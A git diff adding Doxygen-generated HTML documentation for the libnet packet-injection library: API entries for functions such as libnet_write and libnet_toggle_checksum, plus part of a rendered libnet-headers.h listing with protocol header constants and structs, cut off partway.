+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>struct libnet_stats *&nbsp;</td>
+ <td class="mdname" nowrap> <em>ls</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Fills in a libnet_stats structure with packet injection statistics (packets written, bytes written, packet sending errors). <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ls</em>&nbsp;</td><td>pointer to a libnet statistics structure </td></tr>
+ </table>
+</dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a13" doxytag="libnet-functions.h::libnet_toggle_checksum" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_toggle_checksum </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>int&nbsp;</td>
+ <td class="mdname" nowrap> <em>mode</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+If a given protocol header is built with the checksum field set to "0", by default libnet will calculate the header checksum prior to injection. If the header is set to any other value, by default libnet will not calculate the header checksum. To over-ride this behavior, use <a class="el" href="libnet-functions_8h.html#a13">libnet_toggle_checksum()</a>. Switches auto-checksumming on or off for the specified ptag. If mode is set to LIBNET_ON, libnet will mark the specificed ptag to calculate a checksum for the ptag prior to injection. This assumes that the ptag refers to a protocol that has a checksum field. If mode is set to LIBNET_OFF, libnet will clear the checksum flag and no checksum will be computed prior to injection. This assumes that the programmer will assign a value (zero or otherwise) to the checksum field. Often times this is useful if a precomputed checksum or some other predefined value is going to be used. Note that when libnet is initialized with LIBNET_RAW4, the IPv4 header checksum will always be computed by the kernel prior to injection, regardless of what the programmer sets. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>the ptag reference number </td></tr>
+ <tr><td valign=top><em>mode</em>&nbsp;</td><td>LIBNET_ON or LIBNET_OFF </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a93" doxytag="libnet-functions.h::libnet_write" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_write </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> <em>l</em> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Writes a prebuilt packet to the network. The function assumes that l was previously initialized (via a call to <a class="el" href="libnet-functions_8h.html#a1">libnet_init()</a>) and that a previously constructed packet has been built inside this context (via one or more calls to the libnet_build* family of functions) and is ready to go. Depending on how libnet was initialized, the function will write the packet to the wire either via the raw or link layer interface. The function will also bump up the internal libnet stat counters which are retrievable via <a class="el" href="libnet-functions_8h.html#a4">libnet_stats()</a>. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>the number of bytes written, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet-headers_8h-source.html b/libnet/doc/html/libnet-headers_8h-source.html
new file mode 100644
index 0000000..1aaa4d1
--- /dev/null
+++ b/libnet/doc/html/libnet-headers_8h-source.html
@@ -0,0 +1,1655 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet-headers.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet-headers.h</h1><a href="libnet-headers_8h.html">Go to the documentation of this file.</a><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * $Id: libnet-headers.h,v 1.13 2004/03/01 20:26:12 mike Exp $</span>
+00003 <span class="comment"> *</span>
+00004 <span class="comment"> * libnet-headers.h - Network routine library headers header file</span>
+00005 <span class="comment"> *</span>
+00006 <span class="comment"> * Copyright (c) 1998 - 2004 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00007 <span class="comment"> * All rights reserved.</span>
+00008 <span class="comment"> *</span>
+00009 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00010 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00011 <span class="comment"> * are met:</span>
+00012 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00013 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00014 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00015 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00016 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00017 <span class="comment"> *</span>
+00018 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND</span>
+00019 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00020 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00021 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE</span>
+00022 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00023 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00024 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00025 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00026 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00027 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00028 <span class="comment"> * SUCH DAMAGE.</span>
+00029 <span class="comment"> *</span>
+00030 <span class="comment"> */</span>
+00031
+00032 <span class="preprocessor">#ifndef __LIBNET_HEADERS_H</span>
+00033 <span class="preprocessor"></span><span class="preprocessor">#define __LIBNET_HEADERS_H</span>
+00034 <span class="preprocessor"></span>
+<a name="l00042"></a><a class="code" href="libnet-headers_8h.html#a0">00042</a> <span class="preprocessor">#define LIBNET_802_1Q_H 0x12 </span>
+<a name="l00043"></a><a class="code" href="libnet-headers_8h.html#a1">00043</a> <span class="preprocessor">#define LIBNET_802_1X_H 0x04 </span>
+<a name="l00044"></a><a class="code" href="libnet-headers_8h.html#a2">00044</a> <span class="preprocessor">#define LIBNET_802_2_H 0x03 </span>
+<a name="l00045"></a><a class="code" href="libnet-headers_8h.html#a3">00045</a> <span class="preprocessor">#define LIBNET_802_2SNAP_H 0x08 </span>
+<a name="l00046"></a><a class="code" href="libnet-headers_8h.html#a4">00046</a> <span class="preprocessor">#define LIBNET_802_3_H 0x0e </span>
+<a name="l00047"></a><a class="code" href="libnet-headers_8h.html#a5">00047</a> <span class="preprocessor">#define LIBNET_ARP_H 0x08 </span>
+<a name="l00048"></a><a class="code" href="libnet-headers_8h.html#a6">00048</a> <span class="preprocessor">#define LIBNET_ARP_ETH_IP_H 0x1c </span>
+<a name="l00049"></a><a class="code" href="libnet-headers_8h.html#a7">00049</a> <span class="preprocessor">#define LIBNET_BGP4_HEADER_H 0x13 </span>
+<a name="l00050"></a><a class="code" href="libnet-headers_8h.html#a8">00050</a> <span class="preprocessor">#define LIBNET_BGP4_OPEN_H 0x0a </span>
+<a name="l00051"></a><a class="code" href="libnet-headers_8h.html#a9">00051</a> <span class="preprocessor">#define LIBNET_BGP4_UPDATE_H 0x04 </span>
+<a name="l00052"></a><a class="code" href="libnet-headers_8h.html#a10">00052</a> <span class="preprocessor">#define LIBNET_BGP4_NOTIFICATION_H 0x02 </span>
+<a name="l00053"></a><a class="code" href="libnet-headers_8h.html#a11">00053</a> <span class="preprocessor">#define LIBNET_CDP_H 0x08 </span>
+<a name="l00054"></a><a class="code" href="libnet-headers_8h.html#a12">00054</a> <span class="preprocessor">#define LIBNET_DHCPV4_H 0xf0 </span>
+<a name="l00055"></a><a class="code" href="libnet-headers_8h.html#a13">00055</a> <span class="preprocessor">#define LIBNET_UDP_DNSV4_H 0x0c </span>
+<a name="l00056"></a><a class="code" href="libnet-headers_8h.html#a14">00056</a> <span class="preprocessor">#define LIBNET_TCP_DNSV4_H 0x0e </span>
+<a name="l00057"></a><a class="code" href="libnet-headers_8h.html#a15">00057</a> <span class="preprocessor">#define LIBNET_ETH_H 0x0e </span>
+<a name="l00058"></a><a class="code" href="libnet-headers_8h.html#a16">00058</a> <span class="preprocessor">#define LIBNET_FDDI_H 0x15 </span>
+<a name="l00059"></a><a class="code" href="libnet-headers_8h.html#a17">00059</a> <span class="preprocessor">#define LIBNET_ICMPV4_H 0x04 </span>
+<a name="l00060"></a><a class="code" href="libnet-headers_8h.html#a18">00060</a> <span class="preprocessor">#define LIBNET_ICMPV4_ECHO_H 0x08 </span>
+<a name="l00061"></a><a class="code" href="libnet-headers_8h.html#a19">00061</a> <span class="preprocessor">#define LIBNET_ICMPV4_MASK_H 0x0c </span>
+<a name="l00062"></a><a class="code" href="libnet-headers_8h.html#a20">00062</a> <span class="preprocessor">#define LIBNET_ICMPV4_UNREACH_H 0x08 </span>
+<a name="l00063"></a><a class="code" href="libnet-headers_8h.html#a21">00063</a> <span class="preprocessor">#define LIBNET_ICMPV4_TIMXCEED_H 0x08 </span>
+<a name="l00064"></a><a class="code" href="libnet-headers_8h.html#a22">00064</a> <span class="preprocessor">#define LIBNET_ICMPV4_REDIRECT_H 0x08 </span>
+<a name="l00065"></a><a class="code" href="libnet-headers_8h.html#a23">00065</a> <span class="preprocessor">#define LIBNET_ICMPV4_TS_H 0x14 </span>
+<a name="l00066"></a><a class="code" href="libnet-headers_8h.html#a24">00066</a> <span class="preprocessor">#define LIBNET_ICMPV6_H 0x08 </span>
+<a name="l00067"></a><a class="code" href="libnet-headers_8h.html#a25">00067</a> <span class="preprocessor">#define LIBNET_IGMP_H 0x08 </span>
+<a name="l00068"></a><a class="code" href="libnet-headers_8h.html#a26">00068</a> <span class="preprocessor">#define LIBNET_IPV4_H 0x14 </span>
+<a name="l00069"></a><a class="code" href="libnet-headers_8h.html#a27">00069</a> <span class="preprocessor">#define LIBNET_IPV6_H 0x28 </span>
+<a name="l00070"></a><a class="code" href="libnet-headers_8h.html#a28">00070</a> <span class="preprocessor">#define LIBNET_IPV6_FRAG_H 0x08 </span>
+<a name="l00071"></a><a class="code" href="libnet-headers_8h.html#a29">00071</a> <span class="preprocessor">#define LIBNET_IPV6_ROUTING_H 0x04 </span>
+<a name="l00072"></a><a class="code" href="libnet-headers_8h.html#a30">00072</a> <span class="preprocessor">#define LIBNET_IPV6_DESTOPTS_H 0x02 </span>
+<a name="l00073"></a><a class="code" href="libnet-headers_8h.html#a31">00073</a> <span class="preprocessor">#define LIBNET_IPV6_HBHOPTS_H 0x02 </span>
+<a name="l00074"></a><a class="code" href="libnet-headers_8h.html#a32">00074</a> <span class="preprocessor">#define LIBNET_IPSEC_ESP_HDR_H 0x0c </span>
+<a name="l00075"></a><a class="code" href="libnet-headers_8h.html#a33">00075</a> <span class="preprocessor">#define LIBNET_IPSEC_ESP_FTR_H 0x02 </span>
+<a name="l00076"></a><a class="code" href="libnet-headers_8h.html#a34">00076</a> <span class="preprocessor">#define LIBNET_IPSEC_AH_H 0x10 </span>
+<a name="l00077"></a><a class="code" href="libnet-headers_8h.html#a35">00077</a> <span class="preprocessor">#define LIBNET_ISL_H 0x1a </span>
+<a name="l00078"></a><a class="code" href="libnet-headers_8h.html#a36">00078</a> <span class="preprocessor">#define LIBNET_GRE_H 0x04 </span>
+<a name="l00079"></a><a class="code" href="libnet-headers_8h.html#a37">00079</a> <span class="preprocessor">#define LIBNET_GRE_SRE_H 0x04 </span>
+<a name="l00080"></a><a class="code" href="libnet-headers_8h.html#a38">00080</a> <span class="preprocessor">#define LIBNET_MPLS_H 0x04 </span>
+<a name="l00081"></a><a class="code" href="libnet-headers_8h.html#a39">00081</a> <span class="preprocessor">#define LIBNET_OSPF_H 0x10 </span>
+<a name="l00082"></a><a class="code" href="libnet-headers_8h.html#a40">00082</a> <span class="preprocessor">#define LIBNET_OSPF_HELLO_H 0x18 </span>
+<a name="l00083"></a><a class="code" href="libnet-headers_8h.html#a41">00083</a> <span class="preprocessor">#define LIBNET_OSPF_DBD_H 0x08 </span>
+<a name="l00084"></a><a class="code" href="libnet-headers_8h.html#a42">00084</a> <span class="preprocessor">#define LIBNET_OSPF_LSR_H 0x0c </span>
+<a name="l00085"></a><a class="code" href="libnet-headers_8h.html#a43">00085</a> <span class="preprocessor">#define LIBNET_OSPF_LSU_H 0x04 </span>
+<a name="l00086"></a><a class="code" href="libnet-headers_8h.html#a44">00086</a> <span class="preprocessor">#define LIBNET_OSPF_LSA_H 0x14 </span>
+<a name="l00087"></a><a class="code" href="libnet-headers_8h.html#a45">00087</a> <span class="preprocessor">#define LIBNET_OSPF_AUTH_H 0x08 </span>
+<a name="l00088"></a><a class="code" href="libnet-headers_8h.html#a46">00088</a> <span class="preprocessor">#define LIBNET_OSPF_CKSUM 0x10 </span>
+<a name="l00089"></a><a class="code" href="libnet-headers_8h.html#a47">00089</a> <span class="preprocessor">#define LIBNET_OSPF_LS_RTR_H 0x10 </span>
+<a name="l00090"></a><a class="code" href="libnet-headers_8h.html#a48">00090</a> <span class="preprocessor">#define LIBNET_OSPF_LS_NET_H 0x08 </span>
+<a name="l00091"></a><a class="code" href="libnet-headers_8h.html#a49">00091</a> <span class="preprocessor">#define LIBNET_OSPF_LS_SUM_H 0x0c </span>
+<a name="l00092"></a><a class="code" href="libnet-headers_8h.html#a50">00092</a> <span class="preprocessor">#define LIBNET_OSPF_LS_AS_EXT_H 0x10 </span>
+<a name="l00093"></a><a class="code" href="libnet-headers_8h.html#a51">00093</a> <span class="preprocessor">#define LIBNET_NTP_H 0x30 </span>
+<a name="l00094"></a><a class="code" href="libnet-headers_8h.html#a52">00094</a> <span class="preprocessor">#define LIBNET_RIP_H 0x18 </span>
+<a name="l00095"></a><a class="code" href="libnet-headers_8h.html#a53">00095</a> <span class="preprocessor">#define LIBNET_RPC_CALL_H 0x28 </span>
+<a name="l00098"></a><a class="code" href="libnet-headers_8h.html#a54">00098</a> <span class="preprocessor">#define LIBNET_RPC_CALL_TCP_H 0x2c </span>
+00101 <span class="preprocessor">#define LIBNET_SEBEK_H 0x30 </span><span class="comment">/* sebek header: 48 bytes */</span>
+<a name="l00102"></a><a class="code" href="libnet-headers_8h.html#a56">00102</a> <span class="preprocessor">#define LIBNET_STP_CONF_H 0x23 </span>
+<a name="l00103"></a><a class="code" href="libnet-headers_8h.html#a57">00103</a> <span class="preprocessor">#define LIBNET_STP_TCN_H 0x04 </span>
+<a name="l00104"></a><a class="code" href="libnet-headers_8h.html#a58">00104</a> <span class="preprocessor">#define LIBNET_TOKEN_RING_H 0x16 </span>
+<a name="l00105"></a><a class="code" href="libnet-headers_8h.html#a59">00105</a> <span class="preprocessor">#define LIBNET_TCP_H 0x14 </span>
+<a name="l00106"></a><a class="code" href="libnet-headers_8h.html#a60">00106</a> <span class="preprocessor">#define LIBNET_UDP_H 0x08 </span>
+<a name="l00107"></a><a class="code" href="libnet-headers_8h.html#a61">00107</a> <span class="preprocessor">#define LIBNET_VRRP_H 0x08 </span>
+<a name="l00113"></a><a class="code" href="structlibnet__802__1q__hdr.html">00113</a> <span class="preprocessor">struct libnet_802_1q_hdr</span>
+00114 <span class="preprocessor"></span>{
+<a name="l00115"></a><a class="code" href="structlibnet__802__1q__hdr.html#o0">00115</a> u_int8_t vlan_dhost[ETHER_ADDR_LEN];
+<a name="l00116"></a><a class="code" href="structlibnet__802__1q__hdr.html#o1">00116</a> u_int8_t vlan_shost[ETHER_ADDR_LEN];
+<a name="l00117"></a><a class="code" href="structlibnet__802__1q__hdr.html#o2">00117</a> u_int16_t vlan_tpi;
+<a name="l00118"></a><a class="code" href="structlibnet__802__1q__hdr.html#o3">00118</a> u_int16_t vlan_priority_c_vid;
+<a name="l00119"></a><a class="code" href="libnet-headers_8h.html#a62">00119</a> <span class="preprocessor">#define LIBNET_802_1Q_PRIMASK 0x0007 </span>
+<a name="l00120"></a><a class="code" href="libnet-headers_8h.html#a63">00120</a> <span class="preprocessor">#define LIBNET_802_1Q_CFIMASK 0x0001 </span>
+<a name="l00121"></a><a class="code" href="libnet-headers_8h.html#a64">00121</a> <span class="preprocessor">#define LIBNET_802_1Q_VIDMASK 0x0fff </span>
+<a name="l00122"></a><a class="code" href="structlibnet__802__1q__hdr.html#o4">00122</a> <span class="preprocessor"> u_int16_t vlan_len; </span>
+00123 <span class="preprocessor">}; </span>
+00124 <span class="preprocessor"></span>
+<a name="l00129"></a><a class="code" href="structlibnet__802__1x__hdr.html">00129</a> <span class="keyword">struct </span><a class="code" href="structlibnet__802__1x__hdr.html">libnet_802_1x_hdr</a>
+00130 {
+<a name="l00131"></a><a class="code" href="structlibnet__802__1x__hdr.html#o0">00131</a> u_int8_t <a class="code" href="structlibnet__802__1x__hdr.html#o0">dot1x_version</a>;
+<a name="l00132"></a><a class="code" href="structlibnet__802__1x__hdr.html#o1">00132</a> u_int8_t <a class="code" href="structlibnet__802__1x__hdr.html#o1">dot1x_type</a>;
+<a name="l00133"></a><a class="code" href="libnet-headers_8h.html#a65">00133</a> <span class="preprocessor">#define LIBNET_802_1X_PACKET 0x00 </span>
+<a name="l00134"></a><a class="code" href="libnet-headers_8h.html#a66">00134</a> <span class="preprocessor">#define LIBNET_802_1X_START 0x01 </span>
+<a name="l00135"></a><a class="code" href="libnet-headers_8h.html#a67">00135</a> <span class="preprocessor">#define LIBNET_802_1X_LOGOFF 0x02 </span>
+<a name="l00136"></a><a class="code" href="libnet-headers_8h.html#a68">00136</a> <span class="preprocessor">#define LIBNET_802_1X_KEY 0x03 </span>
+<a name="l00137"></a><a class="code" href="libnet-headers_8h.html#a69">00137</a> <span class="preprocessor">#define LIBNET_802_1X_ENCASFAL 0x04 </span>
+<a name="l00138"></a><a class="code" href="structlibnet__802__1x__hdr.html#o2">00138</a> <span class="preprocessor"> u_int16_t dot1x_length; </span>
+00139 <span class="preprocessor">}; </span>
+00140 <span class="preprocessor"></span>
+00141 <span class="comment">/*</span>
+00142 <span class="comment"> * IEEE 802.2 LLC header</span>
+00143 <span class="comment"> * Link Layer Control</span>
+00144 <span class="comment"> * static header size: 3 bytes</span>
+00145 <span class="comment"> */</span>
+00146 <span class="keyword">struct </span>libnet_802_2_hdr
+00147 {
+00148 u_int8_t llc_dsap; <span class="comment">/* destination service access point */</span>
+00149 u_int8_t llc_ssap; <span class="comment">/* source service access point */</span>
+00150 <span class="preprocessor">#define LIBNET_SAP_STP 0x42</span>
+00151 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_SAP_SNAP 0xaa</span>
+00152 <span class="preprocessor"></span> u_int8_t llc_control; <span class="comment">/* control field */</span>
+00153 };
+00154
+00155
+00156 <span class="comment">/*</span>
+00157 <span class="comment"> * IEEE 802.2 LLC/SNAP header</span>
+00158 <span class="comment"> * SubNetwork Attachment Point</span>
+00159 <span class="comment"> * static header size: 8 bytes</span>
+00160 <span class="comment"> */</span>
+00161 <span class="keyword">struct </span>libnet_802_2snap_hdr
+00162 {
+00163 u_int8_t snap_dsap; <span class="comment">/* destination service access point */</span>
+00164 u_int8_t snap_ssap; <span class="comment">/* destination service access point */</span>
+00165 u_int8_t snap_control; <span class="comment">/* control field */</span>
+00166 u_int8_t snap_oui[3]; <span class="comment">/* OUI */</span>
+00167 u_int16_t snap_type; <span class="comment">/* type */</span>
+00168 };
+00169
+00170
+00171 <span class="comment">/*</span>
+00172 <span class="comment"> * 802.3 header</span>
+00173 <span class="comment"> * IEEE Ethernet</span>
+00174 <span class="comment"> * Static header size: 14 bytes</span>
+00175 <span class="comment"> */</span>
+00176 <span class="keyword">struct </span>libnet_802_3_hdr
+00177 {
+00178 u_int8_t _802_3_dhost[ETHER_ADDR_LEN];<span class="comment">/* destination ethernet address */</span>
+00179 u_int8_t _802_3_shost[ETHER_ADDR_LEN];<span class="comment">/* source ethernet address */</span>
+00180 u_int16_t _802_3_len; <span class="comment">/* packet type ID */</span>
+00181 };
+00182
+00183
+00184 <span class="comment">/* </span>
+00185 <span class="comment"> * ARP header</span>
+00186 <span class="comment"> * Address Resolution Protocol</span>
+00187 <span class="comment"> * Base header size: 8 bytes</span>
+00188 <span class="comment"> */</span>
+00189 <span class="keyword">struct </span>libnet_arp_hdr
+00190 {
+00191 u_int16_t ar_hrd; <span class="comment">/* format of hardware address */</span>
+00192 <span class="preprocessor">#define ARPHRD_NETROM 0 </span><span class="comment">/* from KA9Q: NET/ROM pseudo */</span>
+00193 <span class="preprocessor">#define ARPHRD_ETHER 1 </span><span class="comment">/* Ethernet 10Mbps */</span>
+00194 <span class="preprocessor">#define ARPHRD_EETHER 2 </span><span class="comment">/* Experimental Ethernet */</span>
+00195 <span class="preprocessor">#define ARPHRD_AX25 3 </span><span class="comment">/* AX.25 Level 2 */</span>
+00196 <span class="preprocessor">#define ARPHRD_PRONET 4 </span><span class="comment">/* PROnet token ring */</span>
+00197 <span class="preprocessor">#define ARPHRD_CHAOS 5 </span><span class="comment">/* Chaosnet */</span>
+00198 <span class="preprocessor">#define ARPHRD_IEEE802 6 </span><span class="comment">/* IEEE 802.2 Ethernet/TR/TB */</span>
+00199 <span class="preprocessor">#define ARPHRD_ARCNET 7 </span><span class="comment">/* ARCnet */</span>
+00200 <span class="preprocessor">#define ARPHRD_APPLETLK 8 </span><span class="comment">/* APPLEtalk */</span>
+00201 <span class="preprocessor">#define ARPHRD_LANSTAR 9 </span><span class="comment">/* Lanstar */</span>
+00202 <span class="preprocessor">#define ARPHRD_DLCI 15 </span><span class="comment">/* Frame Relay DLCI */</span>
+00203 <span class="preprocessor">#define ARPHRD_ATM 19 </span><span class="comment">/* ATM */</span>
+00204 <span class="preprocessor">#define ARPHRD_METRICOM 23 </span><span class="comment">/* Metricom STRIP (new IANA id) */</span>
+00205 <span class="preprocessor">#define ARPHRD_IPSEC 31 </span><span class="comment">/* IPsec tunnel */</span>
+00206 u_int16_t ar_pro; <span class="comment">/* format of protocol address */</span>
+00207 u_int8_t ar_hln; <span class="comment">/* length of hardware address */</span>
+00208 u_int8_t ar_pln; <span class="comment">/* length of protocol addres */</span>
+00209 u_int16_t ar_op; <span class="comment">/* operation type */</span>
+00210 <span class="preprocessor">#define ARPOP_REQUEST 1 </span><span class="comment">/* req to resolve address */</span>
+00211 <span class="preprocessor">#define ARPOP_REPLY 2 </span><span class="comment">/* resp to previous request */</span>
+00212 <span class="preprocessor">#define ARPOP_REVREQUEST 3 </span><span class="comment">/* req protocol address given hardware */</span>
+00213 <span class="preprocessor">#define ARPOP_REVREPLY 4 </span><span class="comment">/* resp giving protocol address */</span>
+00214 <span class="preprocessor">#define ARPOP_INVREQUEST 8 </span><span class="comment">/* req to identify peer */</span>
+00215 <span class="preprocessor">#define ARPOP_INVREPLY 9 </span><span class="comment">/* resp identifying peer */</span>
+00216 <span class="comment">/* address information allocated dynamically */</span>
+00217 };
+00218
+00219 <span class="comment">/*</span>
+00220 <span class="comment"> * BGP4 header</span>
+00221 <span class="comment"> * Border Gateway Protocol 4</span>
+00222 <span class="comment"> * Base header size : 19 bytes</span>
+00223 <span class="comment"> */</span>
+00224 <span class="keyword">struct </span>libnet_bgp4_header_hdr
+00225 {
+00226 <span class="preprocessor">#define LIBNET_BGP4_MARKER_SIZE 16</span>
+00227 <span class="preprocessor"></span> u_int8_t marker[LIBNET_BGP4_MARKER_SIZE];
+00228 u_int16_t len;
+00229 u_int8_t type;
+00230 <span class="preprocessor">#define LIBNET_BGP4_OPEN 1</span>
+00231 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_UPDATE 2</span>
+00232 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_NOTIFICATION 3</span>
+00233 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_KEEPALIVE 4</span>
+00234 <span class="preprocessor"></span>};
+00235
+00236 <span class="comment">/*</span>
+00237 <span class="comment"> * BGP4 open header</span>
+00238 <span class="comment"> * Border Gateway Protocol 4</span>
+00239 <span class="comment"> * Base header size : 10 bytes</span>
+00240 <span class="comment"> */</span>
+00241 <span class="keyword">struct </span>libnet_bgp4_open_hdr
+00242 {
+00243 u_int8_t version;
+00244 u_int16_t src_as;
+00245 u_int16_t hold_time;
+00246 u_int32_t bgp_id;
+00247 u_int8_t opt_len;
+00248 };
+00249
+00250 <span class="comment">/*</span>
+00251 <span class="comment"> * BGP4 notification message</span>
+00252 <span class="comment"> *</span>
+00253 <span class="comment"> * Border Gateway Protocol 4</span>
+00254 <span class="comment"> * Base header size : 2 bytes</span>
+00255 <span class="comment"> *</span>
+00256 <span class="comment"> * Use payload if you need data</span>
+00257 <span class="comment"> */</span>
+00258 <span class="keyword">struct </span>libnet_bgp4_notification_hdr
+00259 {
+00260 <span class="preprocessor">#define LIBNET_BGP4_MESSAGE_HEADER_ERROR 1</span>
+00261 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_OPEN_MESSAGE_ERROR 2</span>
+00262 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_UPDATE_MESSAGE_ERROR 3</span>
+00263 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_HOLD_TIMER_EXPIRED 4</span>
+00264 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_FINITE_STATE__ERROR 5</span>
+00265 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_CEASE 6</span>
+00266 <span class="preprocessor"></span> u_int8_t err_code;
+00267
+00268 <span class="comment">/* Message Header Error subcodes */</span>
+00269 <span class="preprocessor">#define LIBNET_BGP4_CONNECTION_NOT_SYNCHRONIZED 1</span>
+00270 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_BAD_MESSAGE_LENGTH 2</span>
+00271 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_BAD_MESSAGE_TYPE 3</span>
+00272 <span class="preprocessor"></span><span class="comment">/* OPEN Message Error subcodes */</span>
+00273 <span class="preprocessor">#define LIBNET_BGP4_UNSUPPORTED_VERSION_NUMBER 1</span>
+00274 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_BAD_PEER_AS 2</span>
+00275 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_BAD_BGP_IDENTIFIER 3</span>
+00276 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_UNSUPPORTED_OPTIONAL_PARAMETER 4</span>
+00277 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_AUTHENTICATION_FAILURE 5</span>
+00278 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_UNACCEPTABLE_HOLD_TIME 6</span>
